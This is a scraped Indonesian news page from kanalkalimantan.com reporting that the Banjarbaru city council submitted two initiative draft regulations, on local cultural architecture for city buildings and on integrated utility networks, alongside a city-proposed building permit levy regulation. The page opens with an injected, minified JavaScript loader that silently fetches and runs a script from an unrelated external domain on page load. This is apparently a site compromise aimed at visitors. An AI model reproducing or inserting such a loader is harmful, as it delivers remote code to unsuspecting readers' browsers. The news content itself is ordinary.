(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Ini Dua Raperda Inisiatif yang Diajukan DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mengajukan dua buah Rancangan Peraturan Daerah (Raperda) inisiatif.

Ketua DPRD Banjarbaru Fadliansyah, dua Raperda dan satu Raperda yang berasal dari Pemko Banjarbaru sudah disampaikan secara bersama-sama pada rapat paripurna, Selasa (31/8/2021).

“Dua Raperda inisiatif dari DPRD dan satu Raperda dari Pemkot Banjarbaru diajukan bersama-sama pada rapat paripurna itu untuk diproses lebih lanjut,” ujarnya.

Dua Raperda inisiatif DPRD yakni Raperda tentang prototipe arsitektur budaya lokal pada bangunan gedung milik Pemko Banjarbaru dan Raperda tentang jaringan utilitas terpadu.

 

 

Sedangkan Raperda dari Pemko Banjarbaru adalah Raperda tentang retribusi persetujuan bangunan gedung yang akan menjadi payung hukum menarik retribusi atas salah satu pajak daerah itu.

Raperda tentang prototipe arsitektur budaya lokal bangunan gedung milik Pemkot Banjarbaru adalah salah satu upaya menumbuh kembangkan pemajuan budaya lokal sebagai bagian dari budaya nasional.

“Penerapan Perda nantinya bertujuan menjaga eksistensi arsitektur budaya lokal agar tidak tergerus kemajuan jaman dan pembangunan sehingga bisa menjadi landasan hukum sesuai kewenangan Pemko menanganinya,” ucap Fadliansyah.

Sementara itu, Raperda penyelenggaraan jaringan utilitas terpadu disampaikan DPRD karena Pemko Banjarbaru belum memiliki dasar hukum dalam mengatur penyelenggaraan jaringan utilitas terpadu di kota Idaman.

“Hal itu lah yang menyebabkan belum optimalnya penyelenggaraan jaringan utilitas terpadu di Banjarbaru sehingga untuk menciptakan keindahan dan kerapian tata kota diperlukan Perda yang menjadi payung hukum,” katanya.

“Kami berharap, tiga Raperda yang diajukan bersamaan itu sudah bisa ditetapkan menjadi Perda dalam satu dua bulan ke depan sehingga harus dimaksimalkan pembahasan sesuai prosesnya,” kata Fadliansyah. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Al Ghifari

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

12 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

14 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

14 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

19 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

20 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.